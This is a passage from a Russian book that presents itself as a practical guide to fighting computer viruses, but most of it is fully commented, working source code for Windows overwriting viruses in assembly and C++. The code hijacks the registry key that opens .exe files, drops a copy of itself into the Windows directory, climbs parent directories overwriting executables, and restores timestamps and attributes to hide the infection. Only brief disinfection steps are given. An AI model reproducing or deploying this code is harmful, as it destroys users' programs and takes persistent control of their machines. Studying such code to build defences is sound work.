Технологии борьбы с компьютерными вирусами. Практическое пособие
.pdfWindows вирусы |
211 |
|
|
Выше был представлен довольно тривиальный |
вариант резидентности, |
и подробно его описывать не будем. |
|
Теперь реализуем аналогичный вирус, но на Ассемблере. Это будет несколько сложнее, так как Ассемблер это все-таки язык низкого уровня.
Рассмотрим листинг:
;----------------------------------------------
.386
.model flat
;Далее идет список импортируемых функций |
|
|||
extrn |
ExitProcess:PROC |
|
|
|
extrn |
FindFirstFileA:PROC |
|
|
|
extrn |
CopyFileA:PROC |
|
|
|
extrn |
GetCommandLineA:PROC |
|
|
|
extrn |
FindNextFileA:Proc |
|
|
|
extrn |
lstrcpyA:PROC |
|
|
|
extrn |
lstrcatA:PROC |
|
|
|
extrn |
FindClose:PROC |
|
|
|
extrn |
GetWindowsDirectoryA:PROC |
|
|
|
extrn |
RegOpenKeyA:PROC |
|
|
|
extrn |
RegCloseKey:PROC |
|
|
|
extrn |
RegSetValueA:PROC |
|
|
|
.data |
|
|
; Область данных |
|
rHnd |
Dd |
? |
; Хэндл реестра |
|
EXE_file |
DB |
'*.exe',0 |
; Маска поиска файлов |
|
find_file |
db |
313 dup(?) |
; Переменная для результатов поиска |
|
host_name |
db |
100 dup(?) |
; Переменная для имени вирусного файла |
|
cmd_line |
db |
100 dup(?) |
; Переменная для командной строки |
|
len: |
|
|
|
|
win_dir |
db |
200 dup(?) |
; Переменная для имени Windows директории |
|
dropper |
db |
"\supa.exe",0 |
; Имя файла для помещения в директорию Windows |
|
dat1 |
db |
" %1",0 |
; используется при получении нового ключа |
|
dat_size |
equ |
$-len-1 |
; Размер всех данных, начиная с метки len, но |
|
|
|
|
; без одного байта |
|
Find_data_name equ |
2ch |
; Смещение на имя файла в структуре поиска |
||
Fhandle |
dd |
? |
; Хэндл поиска |
|
param |
db |
100 dup(?) |
; Параметр командной строки |
|
SubKey |
db |
'exefile\shell\open\command',0 |
; Ключ реестра |
|
msg1 |
db |
'[ WIN32 OVERWRITER VIRUS -=w32.grange=- ]' ; Имя вируса |
||
.code |
|
|
; Начало исполнимого кода |
|
start: |
|
|
|
|
|
call Work_command |
; Вызов функции резидентности |
||
;---------------------------------------------- |
|
|||
;Функция FindFirstFileA(LPSTR lpszSearchFile, LPWIN32_FIND_DATA lpffd)
;Возвращает хэндл поиска
push |
OFFSET |
find_file |
; |
Кладем в стек |
смещение на |
find_file |
|
push |
OFFSET |
EXE_file |
; |
Кладем в стек |
смещение на |
маску |
поиска |
call |
FindFirstFileA |
; |
Вызываем функцию FindFirstFileA |
|
|||
212 |
|
Windows вирусы |
|
|
|
cmp |
EAX, -1 |
; Если нет ни одного нужного нам файла |
je |
End_it |
; То идем на выход |
|
|
; Иначе |
mov |
[Fhandle],eax |
; В переменной Fhandle сохраняем хэндл поиска |
;---------------------------------------------- |
|
|
infect: |
|
|
|
|
; Функции CopyFileA говорим о том, что будем |
push |
0 |
; При копировании файл перезаписывать |
push |
offset find_file + Find_data_name ; Куда копируем |
|
push |
offset host_name |
; Откуда копируем |
call |
CopyFileA |
; Вызов функции копирования |
Call |
Fnext |
; Вызываем процедуру поиска следующего файла |
cmp |
eax,0 |
; Если eax равен 0, то файлов больше нет |
jne |
infect |
; И мы идем на выход |
End_it: |
|
|
push |
offset [Fhandle] |
; Кладем в стек хэндл поиска |
call |
FindClose |
; И вызываем функцию закрытия поиска |
exit: |
|
|
push |
0 |
; Кладем в стек 0 |
call |
ExitProcess |
; И вызываем функцию завершения программы |
;---------------------------------------------- |
|
|
Fnext: |
|
; Процедура поиска следующего файла |
;bool FindNextFileA( handle, pointer find_file)
;Возвращает 0, если файлов больше нет, и 1 в обратном случае
push |
offset find_file |
; Кладем в стек смещение на find_file |
push |
[Fhandle] |
; Кладем в стек хэндл |
call |
FindNextFileA |
; Вызываем функцию поиска следующего файла |
ret |
|
; Возврат из процедуры |
;---------------------------------------------- |
||
Work_command: |
|
; Функция резидентности |
call |
GetCommandLineA |
; Получаем командную строку |
push |
eax |
; Копируем ее в |
push |
offset cmd_line |
; переменную cmd_line |
|
|
; |
call |
lstrcpyA |
; Используем стандартную функцию |
lea |
esi,cmd_line |
; Теперь мы должны получить параметр командной |
lea |
edi,host_name |
; строки |
test1: |
|
|
lodsb |
|
; Загружаем байт из командной строки в al |
cmp |
al,20h |
; Проверяем, не пробел ли это? |
jne |
test1 |
; Если нет, то переходим к следующему байту |
push |
esi |
; Если да, то сохраняем адрес начала параметра |
mov |
ecx,esi |
; Здесь мы помещаем в переменную host_name |
sub |
ecx,offset cmd_line |
; имя программы, из которой |
sub |
esi,ecx |
; вирус был запущен |
Windows вирусы |
213 |
|
|
|
|
rep |
movsb |
; |
test2: |
|
|
lodsb |
|
; Загружаем байт из командной строки в al |
cmp |
al,0h |
; Проверяем, конец ли это командной строки |
jne |
test2 |
; Если нет, то переходм к следующему байту |
pop |
ecx |
; Восстанавливаем из стека в ecx адрес начала |
|
|
; параметра |
lea |
edi,param |
; Параметр будем сохранять в переменной param |
sub |
esi,ecx |
; Отнимем от конца параметра его начало. Таким |
|
|
; образом длина парметра будет в esi, а адрес |
|
|
; его начала в ecx |
xchg |
ecx,esi |
; Обменяем содержимое регистров и |
rep |
movsb |
; перенесем параметр в подготовленную для него |
|
|
; переменную |
residency: |
|
|
cmp |
[param],0 |
; Проверяем, с параметром была запущена |
jne |
res_infect |
; программа. Если да, то будем заражать |
|
|
; параметр |
push |
100 |
; Получим имя Windows-директории в переменную |
push |
offset win_dir |
; win_dir |
call |
GetWindowsDirectoryA |
; |
push |
offset dropper |
; Добавим к имени Windows директории |
push |
offset win_dir |
; имя файла, который будет в ней храниться |
call |
lstrcatA |
; |
push |
1 |
; Скопируем наш вирус в Windows директорию |
push |
offset win_dir |
; под именем supa.exe |
push |
offset host_name |
; |
call |
CopyFileA |
; |
reg: |
|
|
push |
offset dat1 |
; Добавим к имени файла |
push |
offset win_dir |
; параметр для реестра %1 |
call |
lstrcatA |
; |
push |
offset rHnd |
; Откроем ключ реестра: HKEY_CLASSES_ROOT |
push |
offset SubKey |
; И параметр: |
push |
80000000h |
; exefile\shell\open\command |
call |
RegOpenKeyA |
; |
test |
eax,eax |
; Если ошибка, то на выход |
jnz |
WeFailed |
|
push |
offset dat_size |
; |
push |
offset win_dir |
; Изменяем значение данного ключа на |
push |
01h |
; нужное нам |
push |
offset SubKey |
; |
push |
80000000h |
; |
call |
RegSetValueA |
; |
push |
80000000h |
; Закрываем ключ реестра |
call |
RegCloseKey |
|
WeFailed: |
|
|
ret |
|
; Возврат из функции |
214 |
|
Windows вирусы |
|
|
|
;---------------------------------------------- |
|
|
res_infect: |
|
; Функция резидентного инфицирования |
push |
0 |
; |
push |
offset param |
; Копируем вирус в |
push |
offset host_name |
; параметр |
call |
CopyFileA |
; |
jmp |
exit |
; и переходим к завершению работы |
;---------------------------------------------- |
|
|
end |
start |
|
;---------------------------------------------- |
|
|
Описывать функционирование вируса не будем, потому как все изложено в комментариях и даже неопытному разработчику вирусов с этим разобраться не составит труда.
Таким образом, любой из представленных выше вирусов после запуска становится псевдорезидентным, и любая программа, запущенная на этом компьютере, будет перезаписана вирусом. Замечательное свойство этого вида резидентности в том, что перезагрузка не поможет. И, как вы догадались, возможно применение данного типа резидентности на гораздо более сложных вирусах.
Существуют еще варианты псевдорезидентности, но, как и было сказано, данный вариант является одним из самых лучших решений.
Алгоритм лечения данного вируса довольно прост:
1)определить вирусную программу и удалить ее;
2)исправить необходимый ключ в реестре;
3)удалить вирусный файл из системной директории.
Глава 5 Вирусные технологии
По большей части вирусные технологии кардинально не изменились, разве что стали гораздо более изощренными и сложными. Первенство, как и ранее, удерживают такие технологии, как усиление кода, антиэвристика, динамиче- ское шифрование, полиморфизм, но появились и новые возможности. Одной из них является способность вирусов распространяться через Интернет. Но все вирусные технологи, по сути, хоть и остались теми же, но форму они изменили: во-первых, используется 32-битный Ассемблер, во-вторых, почти во всех вирусах под операционные системы семейства Windows используются WIN API функции.
5.1. Ускорение эпидемии и простейшая маскировка
Начнем данную часть повествования с ускорения эпидемии. Если Windows вирус инфицирует одну лишь текущую директорию, то может пройти много лет, прежде чем он инфицирует весь компьютер, на котором расположен. Поэтому мы должны рассмотреть традиционный способ обхода директории — dot_dot.
Windows вирусы |
215 |
|
|
Для обхода директорий мы должны следовать следующему алгоритму:
1)сохранить текущую директорию;
2)инфицировать текущую директорию;
3)перейти в директорию «..»;
4)инфицировать текущую директорию и перейти на шаг 3. Повторять 4 шаг, пока мы не достигли необходимой нам глубины погружения;
5)перейти в сохраненную директорию;
6)завершение работы.
Для реализации данного алгоритма мы должны ознакомиться с несколькими новыми WIN API функциями. Первая функция — это GetCurrentDirectoryA, вторая — SetCurrentDirectoryA. Функция GetCurrentDirectoryA нам понадобится для сохранения текущей директории. В качестве параметров она получает:
1)длину строки в которой будет храниться текущая директория;
2)саму строку в которой будет храниться текущая директория.
Функция SetCurrentDirectoryA необходима для смены текущей директории, и в качестве параметра она получает строку, содержащую имя директории.
Далее нам необходимо, чтобы наш вирус инфицировал все файлы вне зависимости от их атрибутов. Для этого воспользуемся следующим алгоритмом:
1)сохраним текущие атрибуты у инфицируемого файла;
2)снимем все атрибуты с инфицируемого файла;
3)заразим файл;
4)восстановим старые атрибуты.
Для данного алгоритма нам понадобятся две новые функции. Первая — GetFileAttributes — в качестве параметра получает имя файла, а в качесте результата возвращает атрибуты этого файла. Вторая функция — SetFileAttributes — в качестве параметров получает имя файла и атрибуты.
Далее нам необходимо побеспокоиться о времени последнего изменения файла, чтобы пользователь не обнаружил, что его любимый файл, который он себе залил в далеком 1997 году, имеющий атрибуты «только чтение», неожиданно изменил дату своей последней модификации на 2003 год.
Рассмотрим алгоритм:
1) сохраним текущую дату и время у инфицируемого файла;
3)заразим файл;
4)восстановим старые дату и время.
Для успешного функционирования данного алгоритма нам необходимы две функции. Первая функция — это GetFileTime, которая в качестве параметров получает:
1)хэндл файла (открытого для чтения);
2)переменную типа FILETIME;
3)переменную типа FILETIME;
4)переменную типа FILETIME.
Вторая функция — SetFileTime, которая в качестве параметров получает:
1)хэндл файла (открытого для записи);
2)переменную типа FILETIME;
3)переменную типа FILETIME;
4)переменную типа FILETIME.
216 |
Windows вирусы |
|
|
Из этого описания мы видем, что для того чтобы не изменялась дата при инфицировании необходим следующий алгоритм:
1)открыть файл для чтения;
2)получить его время и дату функцией GetFileTime;
3)закрыть файл;
4)заразить файл;
5)открыть файл для записи и восстановить время и дату функцией SetFileTime.
После детального рассмотрения всех возможностей усиления эпидемии и простейшей маскировки инфицирования мы можем написать вирус, который будет использовать все эти возможности. Начнем, как обычно, с C++.
Рассмотрим листинг:
//---------------------------------------------
#include "windows.h"
int main(int argc, char *argv[])
{ |
|
|
HANDLE find_handle; |
// Хэндл поиска |
|
WIN32_FIND_DATA ff; |
// Место для результатов поиска |
|
char msg1[50]="[ VIRUS |
WIN32 OVERWRITER -=w32.0len'=- ]"; // Название вируса |
|
char buff[100]; |
// |
Место для имени текущей директории |
DWORD attr1; |
// |
Атрибуты файла |
double size=52736; |
// |
Размер вируса |
HANDLE fh; |
// |
Хэндл файла |
int glubina=5; |
// |
Глубина перехода по директориям |
FILETIME ft1; |
// |
|
FILETIME ft2; |
// Переменные для сохранения времени и даты |
|
FILETIME ft3; |
// последнего изменения файла |
|
GetCurrentDirectory(sizeof(buff),buff); // Сохраняем текущую директорию в buff
n1:
find_handle=FindFirstFileA("*.exe",&ff); // Ищем первый файл
if (find_handle==INVALID_HANDLE_VALUE)goto n2; // Если поиск неудачен, будем идти дальше while (1)
{
if (ff.nFileSizeLow==size)goto nexta; // Сами себя не заражаем
attr1=GetFileAttributes(ff.cFileName); // Получаем атрибуты найденного файла SetFileAttributes(ff.cFileName,128); // Сбрасываем их
fh=CreateFileA(ff.cFileName,GENERIC_READ,FILE_SHARE_READ,0,3,128,0); // Открываем
|
// файл для чтения |
GetFileTime(fh,&ft1,&ft2,&ft3); |
// Получаем время последнего изменения файла |
CloseHandle(fh); |
// Закрываем файл |
CopyFileA(argv[0],ff.cFileName,0); // Копируем себя на его место |
|
fh=CreateFileA(ff.cFileName,GENERIC_WRITE,FILE_SHARE_WRITE,0,3,128,0); |
|
|
//Открываем файл для записи |
SetFileTime(fh,&ft1,&ft2,&ft3); |
// Восстанавливаем время последнего изменения |
SetFileAttributes(ff.cFileName,attr1); // Восстанавливаем атрибуты |
|
CloseHandle(fh); |
// Закрываем файл |
Windows вирусы |
217 |
|
|
nexta:
if (!FindNextFileA(find_handle,&ff)) break; // Если файлы кончились, то на выход
}
n2:
FindClose(find_handle); // Закрываем поиск,
if (glubina==0) |
// åñëè |
мы поднялись на необходимый нам уровень |
{ |
|
|
SetCurrentDirectoryA(buff); // |
Восстанавливаем директорию, |
|
exit(0); |
// |
завершаем работу |
} |
|
|
glubina--; |
// Уменьшаем глубину |
|
SetCurrentDirectory(".."); // Меняем директорию |
||
goto n1; |
// И переходим к ее инфицированию |
|
}
//---------------------------------------------
Данный вирус инфицирует все файлы в текущей директории с любыми атрибутами и не изменяет дату и время. Также данный вирус поднимается из текущей директории пять раз и инфицирует все директории, в каких он оказывается.
Переходим к аналогичной реализации вируса на Ассемблере. Рассмотрим листинг:
;----------------------------------------------
.386
.model flat
;Далее идут импортируемые функции |
|
||
extrn |
ExitProcess:PROC |
|
|
extrn |
FindFirstFileA:PROC |
|
|
extrn |
CopyFileA:PROC |
|
|
extrn |
GetCommandLineA:PROC |
|
|
extrn |
FindNextFileA:Proc |
|
|
extrn |
lstrcpyA:PROC |
|
|
extrn |
FindClose:PROC |
|
|
extrn |
GetCurrentDirectoryA:PROC |
|
|
extrn |
SetCurrentDirectoryA:PROC |
|
|
extrn |
GetFileAttributesA:PROC |
|
|
extrn |
SetFileAttributesA:PROC |
|
|
extrn |
GetFileTime:PROC |
|
|
extrn |
SetFileTime:PROC |
|
|
extrn |
CreateFileA:PROC |
|
|
extrn |
CloseHandle:PROC |
|
|
.data |
|
|
;Область данных |
len1: |
|
|
|
buffer1 |
db |
100 dup(?) |
; Место для имени текущей |
|
|
|
; директории |
size1 |
equ |
$-len1 |
; Длина этой переменной |
dot_dot |
db |
'..',0 |
; Данная переменная необходима |
ftime1 |
dd |
2 dup(?) |
; для обхода папок |
ftime2 |
dd |
2 dup(?) |
; Переменные для хранения времени |
218 |
|
|
Windows вирусы |
|
|
|
|
ftime3 |
dd |
2 dup(?) |
; последнего изменения файла |
attr1 |
dd |
? |
; Переменная для атрибутов файла |
fHnd |
dd |
? |
; Хэндл файла |
EXE_file |
DB |
'*.exe',0 |
; Маска поиска |
find_file |
db |
313 dup(?) |
; Переменная для хранения |
|
|
|
; результатов поиска |
host_name |
db |
100 dup(?) |
; Переменная для хранения |
|
|
|
; командной строки |
Find_data_name |
equ |
2ch |
; Смещение на имя файла |
Fhandle |
dd |
? |
; Хэндл поиска |
msg1 |
db |
'[ WIN32 OVERWRITER VIRUS -=w32.kernel_x=- ]' ; Имя вируса |
|
glubina |
db |
3 |
; Глубина подъема из текущей |
|
|
|
; директории |
.code |
|
|
; Начало исполнимого кода |
;---------------------------------------------- |
|
||
start: |
|
|
|
Call |
|
GetCommandLineA |
; Получаем командную строку |
|
|
|
; |
push |
|
eax |
; Копируем командную строку в |
|
|
|
; переменную |
push |
offset host_name |
; host_name |
|
|
|
|
; |
call |
|
lstrcpyA |
; |
push |
|
offset buffer1 |
; |
push |
|
size1 |
; Сохраняем имя директории, |
call |
|
GetCurrentDirectoryA |
; из которой мы cтартовали |
;---------------------------------------------- |
|
||
try2: |
|
|
|
push |
OFFSET find_file |
; Ищем первый файл в текущей |
|
|
|
|
; директории |
push |
OFFSET EXE_file |
; |
|
call |
|
FindFirstFileA |
; |
cmp |
|
EAX, -1 |
; Если файл не найден, переходим |
|
|
|
; дальше |
je |
|
konec |
; на метку konec |
mov |
|
[Fhandle],eax |
; Сохраняем хэндл поиска |
;---------------------------------------------- |
|
||
infect: |
|
|
|
mov |
eax,dword ptr [find_file+20h] |
; Не заражаем файлы размером в |
|
cmp |
|
eax,1000h |
; 4096 áàéò |
je |
|
dalshe |
; |
push |
offset find_file + Find_data_name |
; Получаем атрибуты найденного |
|
call |
|
GetFileAttributesA |
; файла |
mov |
attr1,eax |
; Сохраняем их |
|
push |
80h |
; Сбрасываем атрибуты |
|
push |
offset find_file + Find_data_name |
; найденного файла |
|
call |
|
SetFileAttributesA |
; |
Windows вирусы |
219 |
|
|
|
|
push |
0 |
; |
push |
00000080h |
; |
push |
3 |
; |
push |
0 |
; Открываем найденный |
push |
00000001h OR 00000002h |
; файл для чтения/записи |
push |
40000000h OR 80000000h |
; |
push |
offset find_file+Find_data_name |
; |
call |
CreateFileA |
; |
mov |
fHnd,eax |
; Сохраняем хэндл файла |
push |
offset ftime1 |
; |
push |
offset ftime2 |
; Получаем время последнего |
push |
offset ftime3 |
; изменения файла и сохраняем его |
push |
eax |
; |
call |
GetFileTime |
; |
push |
0 |
; |
push |
offset find_file + Find_data_name |
; Заражаем найденный файл |
push |
offset host_name |
; |
call |
CopyFileA |
; |
push |
offset ftime1 |
; Восстанавливаем |
push |
offset ftime2 |
; сохраненные время и дату файла |
push |
offset ftime3 |
; |
push |
fHnd |
; |
call |
SetFileTime |
; |
push |
fHnd |
; Закрываем файл |
call |
CloseHandle |
; |
push |
attr1 |
; Восстанавливаем старые атрибуты |
push |
offset find_file + Find_data_name ; уже зараженного файла |
|
call |
SetFileAttributesA |
; |
dalshe: |
|
|
Call |
Fnext |
; Переходим к поиску следующего |
|
|
; файла |
cmp |
eax,0 |
; Если файлы не кончились, |
jne |
infect |
; продолжаем их заражать |
End_it: |
|
|
push |
Fhandle |
; Закрываем поиск |
call |
FindClose |
; |
konec: |
|
|
push |
offset dot_dot |
; Поднимаемся на одну директорию |
call |
SetCurrentDirectoryA |
; âûøå |
dec |
glubina |
; Уменьшаем счетчик погружения |
cmp |
glubina,0 |
; Если мы вышли на заданную |
jne |
try2 |
; глубину, |
push |
offset buffer1 |
; восстанавливаем директорию |
call |
SetCurrentDirectoryA |
; |
push |
0 |
; Завершаем работу |
call |
ExitProcess |
; |
220 |
|
Windows вирусы |
|
|
|
;---------------------------------------------- |
|
|
Fnext: |
|
; Процедура поиска следующего |
|
|
; файла |
push |
offset find_file |
; Ищем следующую |
push |
[Fhandle] |
; жертву |
call |
FindNextFileA |
; |
ret |
|
; Возврат из процедуры |
;---------------------------------------------- |
|
|
end |
start |
|
;---------------------------------------------- |
|
|
Данный вирус аналогичен тому, что был рассмотрен ранее на языке C++. Выполняет те же функции и работает по практически идентичному алгоритму.
Нами были рассмотрены традиционные методы усиления эпидемии, но использование операционных систем семейства Windows добавило нам некоторые новые возможности усиления эпидемии.
В WIN API включены такие функции:
1)GetSystemDirectory — данная функция вызывается, как и GetCurrentDirectory, но в отличие от GetCurrentDirectory она возвращает системную директорию Windows;
2)GetWindowsDirectory — данная функция вызывается, как и GetCurrentDirectory, но в отличие от GetCurrentDirectory она возвращает директорию Windows.
Данные WIN API функции позволяют нам получить имя директорий Windows и, следовательно, инфицировать их.
Рассмотрим простейший вариант перехода в Windows-директорию:
//---------------------------------------------
GetWindowsDirectory(sizeof(buff),buff);
SetCurrentDirectoryA(buff);
// Здесь должно быть инфицирование системных файлов //---------------------------------------------
Не сложнее этот кусок кода реализуется и на Ассемблере:
;---------------------------------------------- |
|
|
push |
offset buffer1 |
; |
push |
size1 |
; Сохраняем имя Windows директории |
call |
GetWindowsDirectory |
; |
push |
offset buffer1 |
; Переходим в Windows директорию |
call |
SetCurrentDirectoryA ; |
|
;----------------------------------------------
Ну вот мы и разобрали основные аспекты усиления эпидемии в Windows-системах, а также простейшую маскировку при инфицировании.
Лечение рассмотренного выше вируса ничем не отличается, разве что необходимо анализировать больше файлов.
